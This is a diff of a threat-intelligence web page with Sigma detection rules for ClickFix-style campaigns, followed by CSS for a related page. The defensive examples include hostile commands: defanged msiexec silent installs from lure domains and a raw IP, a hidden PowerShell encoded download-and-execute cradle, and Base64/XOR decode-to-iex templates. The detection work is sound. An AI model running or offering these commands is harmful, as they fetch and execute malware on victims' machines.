<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="payload-ex-hidden">
<span class="collapsible-chevron">›</span>
Example payloads ({{ site.data.clickgrab_trends.payload_examples.hidden_window | size }})
</button>
<div id="payload-ex-hidden" class="collapsible-body collapsed">
{% for ex in site.data.clickgrab_trends.payload_examples.hidden_window %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
</div>
</div>
{% endif %}
</div>
</details>
</div>
<div class="cg-rec">
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t1" style="display:block;text-align:center;padding:.25rem .5rem;">T1059</span></div>
<div class="cg-rec-body">
<strong>Cradle-agnostic network fetch detection</strong>
Move from IWR/IRM string matching to: <em>PowerShell process → outbound HTTP/HTTPS to non-Microsoft, non-CDN domain → path ends in .ps1/.txt/.hta</em>. This catches IWR, Curl, WebClient, and any future cradle. Update Sigma rules to use process+network correlation, not command-string pattern matching.
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="logic-ex-cradles">
<span class="collapsible-chevron">›</span>
Example detection logic
</button>
<div id="logic-ex-cradles" class="collapsible-body collapsed">
<div class="det-rec">
<div class="det-rec-header">
<span class="det-rec-tier tier-1">T1059</span>
<div>
<div class="det-rec-title">Cradle-agnostic network fetch detection</div>
<div class="det-rec-desc">Move from IWR/IRM string matching to: <em>PowerShell process → outbound HTTP/HTTPS to non-Microsoft, non-CDN domain → path ends in .ps1/.txt/.hta</em>. This catches IWR, Curl, WebClient, and any future cradle. Update Sigma rules to use process+network correlation, not command-string pattern matching.</div>
</div>
</div>
{% assign all_cradle_examples = site.data.clickgrab_trends.payload_examples.iwr_iex | concat: site.data.clickgrab_trends.payload_examples.irm_iex | concat: site.data.clickgrab_trends.payload_examples.webclient | concat: site.data.clickgrab_trends.payload_examples.curl %}
{% if all_cradle_examples.size > 0 %}
<details>
<summary>Observed payloads ({{ all_cradle_examples | size }})</summary>
{% if site.data.clickgrab_trends.payload_examples.iwr_iex.size > 0 %}
<div class="cg-payload-label">IWR / IEX</div>
{% for ex in site.data.clickgrab_trends.payload_examples.iwr_iex %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
{% endif %}
{% if site.data.clickgrab_trends.payload_examples.irm_iex.size > 0 %}
<div class="cg-payload-label">IRM / IEX</div>
{% for ex in site.data.clickgrab_trends.payload_examples.irm_iex %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
{% endif %}
{% if site.data.clickgrab_trends.payload_examples.webclient.size > 0 %}
<div class="cg-payload-label">WebClient</div>
{% for ex in site.data.clickgrab_trends.payload_examples.webclient %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
{% endif %}
{% if site.data.clickgrab_trends.payload_examples.curl.size > 0 %}
<div class="cg-payload-label">Curl</div>
{% for ex in site.data.clickgrab_trends.payload_examples.curl %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
{% endif %}
</details>
{% endif %}
<details>
<summary>Example detection logic</summary>
<pre class="cg-payload-example"><code>title: PowerShell Outbound Fetch of Script Payload
logsource:
category: network_connection
@@ -528,63 +602,31 @@ detection:
condition: selection_proc and selection_outbound and not (filter_internal or filter_ms)
level: high
# Pair with file_event rule matching *.ps1/*.txt/*.hta writes by the same ProcessGuid.</code></pre>
</div>
</div>
{% assign all_cradle_examples = site.data.clickgrab_trends.payload_examples.iwr_iex | concat: site.data.clickgrab_trends.payload_examples.irm_iex | concat: site.data.clickgrab_trends.payload_examples.webclient | concat: site.data.clickgrab_trends.payload_examples.curl %}
{% if all_cradle_examples.size > 0 %}
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="payload-ex-cradles">
<span class="collapsible-chevron">›</span>
Example payloads ({{ all_cradle_examples | size }})
</button>
<div id="payload-ex-cradles" class="collapsible-body collapsed">
{% if site.data.clickgrab_trends.payload_examples.iwr_iex.size > 0 %}
<div class="cg-payload-label">IWR / IEX</div>
{% for ex in site.data.clickgrab_trends.payload_examples.iwr_iex %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
{% endif %}
{% if site.data.clickgrab_trends.payload_examples.irm_iex.size > 0 %}
<div class="cg-payload-label">IRM / IEX</div>
{% for ex in site.data.clickgrab_trends.payload_examples.irm_iex %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
{% endif %}
{% if site.data.clickgrab_trends.payload_examples.webclient.size > 0 %}
<div class="cg-payload-label">WebClient</div>
{% for ex in site.data.clickgrab_trends.payload_examples.webclient %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
{% endif %}
{% if site.data.clickgrab_trends.payload_examples.curl.size > 0 %}
<div class="cg-payload-label">Curl</div>
{% for ex in site.data.clickgrab_trends.payload_examples.curl %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
{% endif %}
</div>
</div>
{% endif %}
</div>
</details>
</div>
<div class="cg-rec">
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t2" style="display:block;text-align:center;padding:.25rem .5rem;">T1027</span></div>
<div class="cg-rec-body">
<strong>Detect Base64 decode + execute</strong>
<code>[Convert]::FromBase64String</code> or <code>[Text.Encoding]::UTF8.GetString</code> followed immediately by <code>iex</code> / <code>Invoke-Expression</code>. The encoding act itself is detectable even when the decoded content is not. This covers the 18× Base64 increase seen in Jan 2026.
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="logic-ex-b64">
<span class="collapsible-chevron">›</span>
Example detection logic
</button>
<div id="logic-ex-b64" class="collapsible-body collapsed">
<div class="det-rec">
<div class="det-rec-header">
<span class="det-rec-tier tier-2">T1027</span>
<div>
<div class="det-rec-title">Detect Base64 decode + execute</div>
<div class="det-rec-desc"><code>[Convert]::FromBase64String</code> or <code>[Text.Encoding]::UTF8.GetString</code> followed immediately by <code>iex</code> / <code>Invoke-Expression</code>. The encoding act itself is detectable even when the decoded content is not. This covers the 18× Base64 increase seen in Jan 2026.</div>
</div>
</div>
{% if site.data.clickgrab_trends.payload_examples.base64.size > 0 %}
<details>
<summary>Observed payloads ({{ site.data.clickgrab_trends.payload_examples.base64 | size }})</summary>
{% for ex in site.data.clickgrab_trends.payload_examples.base64 %}
<div class="cg-payload-label">Encoded command</div>
<pre class="cg-payload-example"><code>{{ ex.encoded }}</code></pre>
<div class="cg-payload-label">Decoded</div>
<pre class="cg-payload-example"><code>{{ ex.decoded }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
</details>
{% endif %}
<details>
<summary>Example detection logic</summary>
<pre class="cg-payload-example"><code>title: PowerShell Base64 Decode Piped to Invoke-Expression
logsource:
category: process_creation
@@ -605,41 +647,28 @@ detection:
- '-e '
condition: selection_proc and (selection_decode_exec or selection_enc)
level: high</code></pre>
</div>
</div>
{% if site.data.clickgrab_trends.payload_examples.base64.size > 0 %}
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="payload-ex-b64">
<span class="collapsible-chevron">›</span>
Example payloads ({{ site.data.clickgrab_trends.payload_examples.base64 | size }})
</button>
<div id="payload-ex-b64" class="collapsible-body collapsed">
{% for ex in site.data.clickgrab_trends.payload_examples.base64 %}
<div class="cg-payload-label">Encoded command</div>
<pre class="cg-payload-example"><code>{{ ex.encoded }}</code></pre>
<div class="cg-payload-label">Decoded</div>
<pre class="cg-payload-example"><code>{{ ex.decoded }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
</div>
</div>
{% endif %}
</div>
</details>
</div>
<div class="cg-rec">
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t2" style="display:block;text-align:center;padding:.25rem .5rem;">T1070</span></div>
<div class="cg-rec-body">
<strong>File write → execute → delete correlation (new Dec 2025)</strong>
Self-delete appeared at scale in December 2025. Correlate: script written to <code>%TEMP%</code> → process execution from that path → file deletion within seconds. If artifact-based rules are your only coverage, they're now blind after execution completes. Use process execution telemetry, not file presence.
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="logic-ex-selfdelete">
<span class="collapsible-chevron">›</span>
Example detection logic
</button>
<div id="logic-ex-selfdelete" class="collapsible-body collapsed">
<div class="det-rec">
<div class="det-rec-header">
<span class="det-rec-tier tier-2">T1070</span>
<div>
<div class="det-rec-title">File write → execute → delete correlation (new Dec 2025)</div>
<div class="det-rec-desc">Self-delete appeared at scale in December 2025. Correlate: script written to <code>%TEMP%</code> → process execution from that path → file deletion within seconds. If artifact-based rules are your only coverage, they're now blind after execution completes. Use process execution telemetry, not file presence.</div>
</div>
</div>
{% if site.data.clickgrab_trends.payload_examples.self_delete.size > 0 %}
<details>
<summary>Observed payloads ({{ site.data.clickgrab_trends.payload_examples.self_delete | size }})</summary>
{% for ex in site.data.clickgrab_trends.payload_examples.self_delete %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
</details>
{% endif %}
<details>
<summary>Example detection logic</summary>
<pre class="cg-payload-example"><code>title: Script Self-Delete After Execution From TEMP
# Correlation: file_event (write) + process_creation + file_event (delete) on same ProcessGuid/TargetFilename within 10s.
logsource:
@@ -663,38 +692,28 @@ detection:
TargetFilename: '%file_write.TargetFilename%'
condition: file_write | followed_by process_exec | followed_by file_delete within 10s
level: high</code></pre>
</div>
</div>
{% if site.data.clickgrab_trends.payload_examples.self_delete.size > 0 %}
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="payload-ex-selfdelete">
<span class="collapsible-chevron">›</span>
Example payloads ({{ site.data.clickgrab_trends.payload_examples.self_delete | size }})
</button>
<div id="payload-ex-selfdelete" class="collapsible-body collapsed">
{% for ex in site.data.clickgrab_trends.payload_examples.self_delete %}
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
</div>
</div>
{% endif %}
</div>
</details>
</div>
<div class="cg-rec">
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-blind" style="display:block;text-align:center;padding:.25rem .5rem;">INFRA</span></div>
<div class="cg-rec-body">
<strong>CDN staging: pivot from domain blocking to path-pattern detection</strong>
<code>irp.cdn-website.com</code> is a legitimate CDN. Block it and you break legitimate sites. Instead, alert on PowerShell fetching from <code>*.cdn-website.com</code> paths matching <code>/files/uploaded/*.ps1</code>. Or use JA4/TLS fingerprinting on the outbound connection rather than the destination hostname.
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="logic-ex-cdn">
<span class="collapsible-chevron">›</span>
Example detection logic
</button>
<div id="logic-ex-cdn" class="collapsible-body collapsed">
<div class="det-rec">
<div class="det-rec-header">
<span class="det-rec-tier tier-na">INFRA</span>
<div>
<div class="det-rec-title">CDN staging: pivot from domain blocking to path-pattern detection</div>
<div class="det-rec-desc"><code>irp.cdn-website.com</code> is a legitimate CDN. Block it and you break legitimate sites. Instead, alert on PowerShell fetching from <code>*.cdn-website.com</code> paths matching <code>/files/uploaded/*.ps1</code>. Or use JA4/TLS fingerprinting on the outbound connection rather than the destination hostname.</div>
</div>
</div>
{% if site.data.clickgrab_trends.payload_examples.cdn_staging.size > 0 %}
<details>
<summary>Observed staging URLs ({{ site.data.clickgrab_trends.payload_examples.cdn_staging | size }})</summary>
{% for ex in site.data.clickgrab_trends.payload_examples.cdn_staging %}
<pre class="cg-payload-example"><code>{{ ex.url }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
</details>
{% endif %}
<details>
<summary>Example detection logic</summary>
<pre class="cg-payload-example"><code>title: PowerShell Fetching Script From CDN Uploads Path
# Path-based detection: keep the CDN reachable for legitimate use, catch the staging pattern.
logsource:
@@ -714,53 +733,28 @@ detection:
- '.hta'
condition: selection_client and selection_host and selection_path
level: high</code></pre>
</div>
</div>
{% if site.data.clickgrab_trends.payload_examples.cdn_staging.size > 0 %}
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="payload-ex-cdn">
<span class="collapsible-chevron">›</span>
Example staging URLs ({{ site.data.clickgrab_trends.payload_examples.cdn_staging | size }})
</button>
<div id="payload-ex-cdn" class="collapsible-body collapsed">
{% for ex in site.data.clickgrab_trends.payload_examples.cdn_staging %}
<pre class="cg-payload-example"><code>{{ ex.url }}</code></pre>
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
{% endfor %}
</div>
</div>
{% endif %}
</div>
</details>
</div>
<div class="cg-rec">
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t1" style="display:block;text-align:center;padding:.25rem .5rem;">T1218</span></div>
<div class="cg-rec-body">
<strong>Detect MSIExec fetching packages from non-enterprise URLs</strong>
<code>msiexec.exe</code> with <code>/i http</code> where the URL is not a known enterprise software source, spawned from <code>cmd.exe</code> or <code>explorer.exe</code> (Run dialog). Covers the 1,027-domain MSIExec delivery campaign that peaked at 87% in Nov 2025.
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="payload-ex-msiexec">
<span class="collapsible-chevron">›</span>
Example payloads (3)
</button>
<div id="payload-ex-msiexec" class="collapsible-body collapsed">
<pre class="cg-payload-example"><code>msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/</code></pre>
<div class="cg-payload-meta">Peak-campaign pattern. Long "verification" path, random CustomerID, cloudflare-themed lure.</div>
<pre class="cg-payload-example"><code>msiexec /i hxxps[://]verifyhumanbot[.]com/pkg/update.msi /quiet /norestart</code></pre>
<div class="cg-payload-meta">Silent install with <code>/quiet /norestart</code>. No prompts, no dialogs.</div>
<pre class="cg-payload-example"><code>msiexec /i hxxp[://]198[.]13[.]158[.]127:5506/i.msi</code></pre>
<div class="cg-payload-meta">Port-5506 direct-IP staging. Bypasses domain reputation. Raw IP + nonstandard port is the signal.</div>
</div>
<div class="det-rec">
<div class="det-rec-header">
<span class="det-rec-tier tier-2">T1218</span>
<div>
<div class="det-rec-title">Detect MSIExec fetching packages from non-enterprise URLs</div>
<div class="det-rec-desc"><code>msiexec.exe</code> with <code>/i http</code> where the URL is not a known enterprise software source, spawned from <code>cmd.exe</code> or <code>explorer.exe</code> (Run dialog). Covers the 1,027-domain MSIExec delivery campaign that peaked at 87% in Nov 2025.</div>
</div>
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="logic-ex-msiexec">
<span class="collapsible-chevron">›</span>
Example detection logic
</button>
<div id="logic-ex-msiexec" class="collapsible-body collapsed">
</div>
<details>
<summary>Observed payloads (3)</summary>
<pre class="cg-payload-example"><code>msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/</code></pre>
<div class="cg-payload-meta">Peak-campaign pattern. Long "verification" path, random CustomerID, cloudflare-themed lure.</div>
<pre class="cg-payload-example"><code>msiexec /i hxxps[://]verifyhumanbot[.]com/pkg/update.msi /quiet /norestart</code></pre>
<div class="cg-payload-meta">Silent install with <code>/quiet /norestart</code>. No prompts, no dialogs.</div>
<pre class="cg-payload-example"><code>msiexec /i hxxp[://]198[.]13[.]158[.]127:5506/i.msi</code></pre>
<div class="cg-payload-meta">Port-5506 direct-IP staging. Bypasses domain reputation. Raw IP + nonstandard port is the signal.</div>
</details>
<details>
<summary>Example detection logic</summary>
<pre class="cg-payload-example"><code>title: MSIExec Installing Package From Remote URL via Run Dialog
logsource:
category: process_creation
@@ -784,38 +778,28 @@ detection:
- 'office.com'
condition: selection_proc and selection_remote and selection_parent and not filter_enterprise
level: high</code></pre>
</div>
</div>
</div>
</details>
</div>
<div class="cg-rec">
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t1" style="display:block;text-align:center;padding:.25rem .5rem;">T1059</span></div>
<div class="cg-rec-body">
<strong>Detect inline payload decode-and-execute</strong>
PowerShell with <code>-enc</code> flag or XOR decode operations (<code>-bxor</code>, <code>[byte]</code>, <code>[char]</code>) spawned from unusual parent (Run dialog chain). Also: <code>[Convert]::FromBase64String</code> followed by <code>iex</code>. Covers the 28% → 75% growth in inline payloads that skip the network fetch entirely. <strong>Run alongside network-fetch detection. Both are needed for full coverage.</strong>
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="payload-ex-inline">
<span class="collapsible-chevron">›</span>
Example payloads (3)
</button>
<div id="payload-ex-inline" class="collapsible-body collapsed">
<pre class="cg-payload-example"><code>powershell -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGEAZAAuAGUAeABhAG0AcABsAGUALwBwAC4AcABzADEAIgApAA==</code></pre>
<div class="cg-payload-meta">Classic <code>-EncodedCommand</code> dropper. Base64 decodes to an IEX + DownloadString cradle. The encoding is the signal, not the content.</div>
<pre class="cg-payload-example"><code>powershell -c "$b=[Convert]::FromBase64String('...'); iex ([System.Text.Encoding]::UTF8.GetString($b))"</code></pre>
<div class="cg-payload-meta"><code>FromBase64String</code> piped to <code>iex</code> inline. No network fetch. Entire payload ships in the clipboard paste.</div>
<pre class="cg-payload-example"><code>powershell -c "$k=0x13; $e=@(0x42,0x17,0x26,...); -join($e|%{[char]($_ -bxor $k)})|iex"</code></pre>
<div class="cg-payload-meta">XOR-decode loop. Single-byte key, byte array, <code>-bxor</code> reduction, piped to <code>iex</code>. Pure in-memory decode.</div>
</div>
<div class="det-rec">
<div class="det-rec-header">
<span class="det-rec-tier tier-1">T1059</span>
<div>
<div class="det-rec-title">Detect inline payload decode-and-execute</div>
<div class="det-rec-desc">PowerShell with <code>-enc</code> flag or XOR decode operations (<code>-bxor</code>, <code>[byte]</code>, <code>[char]</code>) spawned from unusual parent (Run dialog chain). Also: <code>[Convert]::FromBase64String</code> followed by <code>iex</code>. Covers the 28% → 75% growth in inline payloads that skip the network fetch entirely. <strong>Run alongside network-fetch detection. Both are needed for full coverage.</strong></div>
</div>
<div class="cg-rec-examples">
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
data-target="logic-ex-inline">
<span class="collapsible-chevron">›</span>
Example detection logic
</button>
<div id="logic-ex-inline" class="collapsible-body collapsed">
</div>
<details>
<summary>Observed payloads (3)</summary>
<pre class="cg-payload-example"><code>powershell -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGEAZAAuAGUAeABhAG0AcABsAGUALwBwAC4AcABzADEAIgApAA==</code></pre>
<div class="cg-payload-meta">Classic <code>-EncodedCommand</code> dropper. Base64 decodes to an IEX + DownloadString cradle. The encoding is the signal, not the content.</div>
<pre class="cg-payload-example"><code>powershell -c "$b=[Convert]::FromBase64String('...'); iex ([System.Text.Encoding]::UTF8.GetString($b))"</code></pre>
<div class="cg-payload-meta"><code>FromBase64String</code> piped to <code>iex</code> inline. No network fetch. Entire payload ships in the clipboard paste.</div>
<pre class="cg-payload-example"><code>powershell -c "$k=0x13; $e=@(0x42,0x17,0x26,...); -join($e|%{[char]($_ -bxor $k)})|iex"</code></pre>
<div class="cg-payload-meta">XOR-decode loop. Single-byte key, byte array, <code>-bxor</code> reduction, piped to <code>iex</code>. Pure in-memory decode.</div>
</details>
<details>
<summary>Example detection logic</summary>
<pre class="cg-payload-example"><code>title: PowerShell Inline Decode-and-Execute (No Network Fetch)
logsource:
category: process_creation
@@ -848,15 +832,16 @@ detection:
condition: selection_proc and selection_parent and (selection_encoded or selection_xor or selection_b64_iex)
level: high
# Run alongside the cradle-agnostic network fetch rule. Both are needed.</code></pre>
</div>
</div>
</div>
</details>
</div>
</div><!-- /.cg-page / .trends-content -->
</div><!-- /.trends-layout -->
<!-- ── Data injection + chart init ──────────────────────────────────── -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/styles/atom-one-dark.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/highlight.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/languages/powershell.min.js"></script>
<script>
window.CLICKGRAB_TRENDS = {{ site.data.clickgrab_trends | jsonify }};
</script>
@@ -906,4 +891,21 @@ document.querySelectorAll('.cg-infra-toggle').forEach(function(btn) {
}, { rootMargin: '-20% 0px -70% 0px' });
sections.forEach(function(section) { observer.observe(section); });
})();
// Syntax highlighting
(function() {
if (typeof hljs === 'undefined') return;
function detectLang(text) {
if (/logsource:|condition:/.test(text)) return 'yaml';
if (/\$[A-Za-z_]|\bIEX\b|\bInvoke-[A-Z]|\bFromBase64String\b/i.test(text)) return 'powershell';
return 'bash';
}
document.querySelectorAll('pre.cg-payload-example code, pre.logic-block code').forEach(function(el) {
var text = el.textContent || el.innerText;
var lang = detectLang(text);
el.textContent = text; // strip any existing HTML
el.className = 'language-' + lang;
hljs.highlightElement(el);
});
})();
</script>
+387 -93
View File
@@ -8,48 +8,48 @@ permalink: /trends/edge-exploits/
<style>
/* Edge exploits page styles: scoped to avoid conflicts with site theme */
.edge-page h1 { font-size: 1.6rem; font-weight: 700; color: var(--text); margin-bottom: .25rem; }
.ep-meta { color: var(--text-muted); font-size: .8rem; font-family: var(--font-mono); margin-bottom: 2.5rem; }
.ep-meta { color: var(--text-muted); font-size: .8rem; margin-bottom: 1.75rem; }
.edge-page h2 {
font-size: 1.3rem; font-weight: 700;
font-size: 1.15rem; font-weight: 600;
color: var(--text);
margin: 3rem 0 0.6rem;
padding-top: 1rem;
border-top: 1px solid var(--border);
margin: 2.5rem 0 .75rem;
padding-bottom: .4rem;
border-bottom: 1px solid transparent;
border-image: linear-gradient(to right, var(--accent), var(--border) 35%, transparent) 1;
}
.edge-page h2:first-of-type { border-top: none; padding-top: 0; }
.edge-page h3 {
font-size: 1.05rem; font-weight: 600;
font-size: 1rem; font-weight: 600;
color: var(--text);
margin: 2rem 0 0.4rem;
margin: 1.5rem 0 .5rem;
}
.edge-page p { margin-bottom: 1rem; font-size: 0.92rem; color: var(--text-muted); }
.edge-page p { margin-bottom: 1rem; font-size: .9rem; line-height: 1.7; color: var(--text-muted); }
.edge-page p strong { color: var(--text); font-weight: 600; }
.stats-strip {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(120px, 1fr));
gap: 1px; margin-bottom: 3rem;
background: var(--border);
border: 1px solid var(--border);
border-radius: 6px; overflow: hidden;
display: flex; gap: 1rem; flex-wrap: wrap;
margin: 1.25rem 0 2rem;
}
.stat-cell {
flex: 1 1 120px;
background: var(--bg-card);
padding: 1.2rem 1rem;
border: 1px solid var(--border);
border-radius: 8px;
padding: .85rem 1rem;
text-align: center;
box-shadow: 0 4px 16px rgba(0,0,0,0.25), inset 0 1px 0 rgba(255,255,255,0.04);
}
.stat-cell .num {
font-family: var(--font-mono);
font-size: 1.6rem; font-weight: 700;
font-size: 1.85rem; font-weight: 700;
color: var(--text);
line-height: 1;
line-height: 1.2;
}
.stat-cell .label {
font-size: 0.72rem;
font-size: .72rem;
color: var(--text-muted);
margin-top: 0.35rem;
margin-top: .2rem;
text-transform: uppercase;
letter-spacing: 0.06em;
letter-spacing: .04em;
}
.chain {
@@ -89,32 +89,31 @@ permalink: /trends/edge-exploits/
text-transform: uppercase; letter-spacing: 0.06em;
color: var(--text-muted); border-bottom: 2px solid var(--border);
}
.data-table td { padding: 0.55rem 0.8rem; border-bottom: 1px solid var(--border); vertical-align: top; color: var(--text-muted); }
.data-table tr:hover td { background: var(--bg-card); }
.data-table td { padding: 0.55rem 0.8rem; border-bottom: 1px solid var(--border); vertical-align: top; color: var(--text-muted); transition: background .1s; }
.data-table tr:hover td { background: rgba(255,255,255,0.03); }
.data-table code { font-family: var(--font-mono); font-size: 0.78rem; color: var(--link); }
.data-table .count { font-family: var(--font-mono); font-weight: 600; color: var(--text); text-align: right; }
.code-block {
background: var(--bg-card); border: 1px solid var(--border);
background: var(--bg-code); border: 1px solid var(--border);
border-radius: 6px; padding: 1rem 1.2rem;
margin: 0.8rem 0 1.2rem; overflow-x: auto;
font-family: var(--font-mono); font-size: 0.78rem;
color: var(--link); line-height: 1.6;
white-space: pre-wrap; word-break: break-all;
line-height: 1.6; white-space: pre-wrap; word-break: break-all;
}
.code-block .comment { color: var(--text-muted); }
.code-block.hljs { background: var(--bg-code) !important; }
.callout {
border-left: 3px solid; padding: 1rem 1.2rem;
margin: 1.2rem 0; background: var(--bg-card);
border-radius: 0 6px 6px 0; font-size: 0.88rem; color: var(--text-muted);
border-left: 3px solid; padding: .85rem 1rem;
margin: .75rem 0;
border-radius: 6px; font-size: .875rem; color: var(--text-muted);
}
.callout strong { color: var(--text); }
.callout-red { border-color: var(--critical); }
.callout-orange { border-color: var(--accent); }
.callout-blue { border-color: var(--link); }
.callout-green { border-color: var(--medium); }
.callout-purple { border-color: #8b5cf6; }
.callout-red { border-color: var(--critical); background: rgba(218,54,51,.08); box-shadow: inset 3px 0 12px -5px rgba(218,54,51,0.35); }
.callout-orange { border-color: var(--accent); background: rgba(240,136,62,.08); box-shadow: inset 3px 0 12px -5px rgba(240,136,62,0.35); }
.callout-blue { border-color: var(--link); background: rgba(88,166,255,.08); box-shadow: inset 3px 0 12px -5px rgba(88,166,255,0.35); }
.callout-green { border-color: var(--medium); background: rgba(63,185,80,.08); box-shadow: inset 3px 0 12px -5px rgba(63,185,80,0.35); }
.callout-purple { border-color: #8b5cf6; background: rgba(139,92,246,.08); box-shadow: inset 3px 0 12px -5px rgba(139,92,246,0.35); }
.det-rec {
background: var(--bg-card); border: 1px solid var(--border);
@@ -128,16 +127,25 @@ permalink: /trends/edge-exploits/
font-family: var(--font-mono); font-size: 0.65rem;
font-weight: 700; letter-spacing: 0.08em;
padding: 3px 10px; border-radius: 3px;
white-space: nowrap; margin-top: 2px;
white-space: nowrap; margin-top: 2px; flex-shrink: 0;
}
.det-rec-title { font-weight: 600; color: var(--text); font-size: 0.92rem; line-height: 1.4; }
.det-rec-desc { color: var(--text-muted); font-size: 0.85rem; margin-top: 0.3rem; line-height: 1.5; }
.det-rec details { padding: 0 1.2rem 1rem; }
.det-rec summary { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); cursor: pointer; margin-bottom: 0.5rem; }
.det-rec details { padding: 0 1.2rem; margin: 0; }
.det-rec details[open] { padding-bottom: 1rem; }
.det-rec summary {
font-family: var(--font-mono); font-size: 0.75rem;
color: var(--text-muted); cursor: pointer; margin: 0; padding: 0.5rem 0;
list-style: none; display: flex; align-items: center; gap: 0.4rem;
}
.det-rec summary::-webkit-details-marker { display: none; }
.det-rec summary::before { content: "›"; color: var(--text-dim); transition: transform .15s; }
details[open] > summary::before { transform: rotate(90deg); }
details[open] > summary { margin-bottom: 0.4rem; }
.chart-container {
background: var(--bg-card); border: 1px solid var(--border);
border-radius: 6px; padding: 1.5rem; margin: 1.2rem 0 1.5rem;
border-radius: 8px; padding: 1.5rem; margin: 1.2rem 0 1.5rem;
}
.chart-container canvas { width: 100% !important; }
.chart-label { font-family: var(--font-mono); font-size: 0.72rem; color: var(--text-muted); text-align: center; margin-top: 0.5rem; }
@@ -189,18 +197,48 @@ permalink: /trends/edge-exploits/
padding: .35rem .75rem;
text-decoration: none;
border-left: 2px solid transparent;
transition: color .15s, border-color .15s;
border-radius: 0 3px 3px 0;
transition: color .15s, border-color .15s, background .15s;
}
.trends-sidebar a:hover {
color: var(--text-muted);
text-decoration: none;
background: rgba(255,255,255,0.025);
}
.trends-sidebar a:hover { color: var(--text-muted); text-decoration: none; }
.trends-sidebar a.active {
color: var(--text, #c9d1d9);
border-left-color: var(--accent, #f0883e);
font-weight: 500;
border-left: 3px solid var(--accent, #f0883e);
box-shadow: inset 3px 0 8px -4px rgba(240,136,62,0.4);
background: rgba(240,136,62,0.07);
}
.trends-content {
flex: 1;
min-width: 0;
}
/* ── Collapsible nav group ── */
.nav-group-header {
display: flex; align-items: center;
}
.nav-group-toggle {
background: none; border: none; cursor: pointer;
color: var(--text-dim, #484f58); font-size: 0.8rem; line-height: 1;
padding: 0 0.2rem 0 0.75rem; flex-shrink: 0;
transition: transform .15s, color .15s;
}
.nav-group-toggle:hover { color: var(--text-muted); }
.nav-group-toggle.open { transform: rotate(90deg); }
.nav-subnav {
list-style: none; padding: 0; margin: 0;
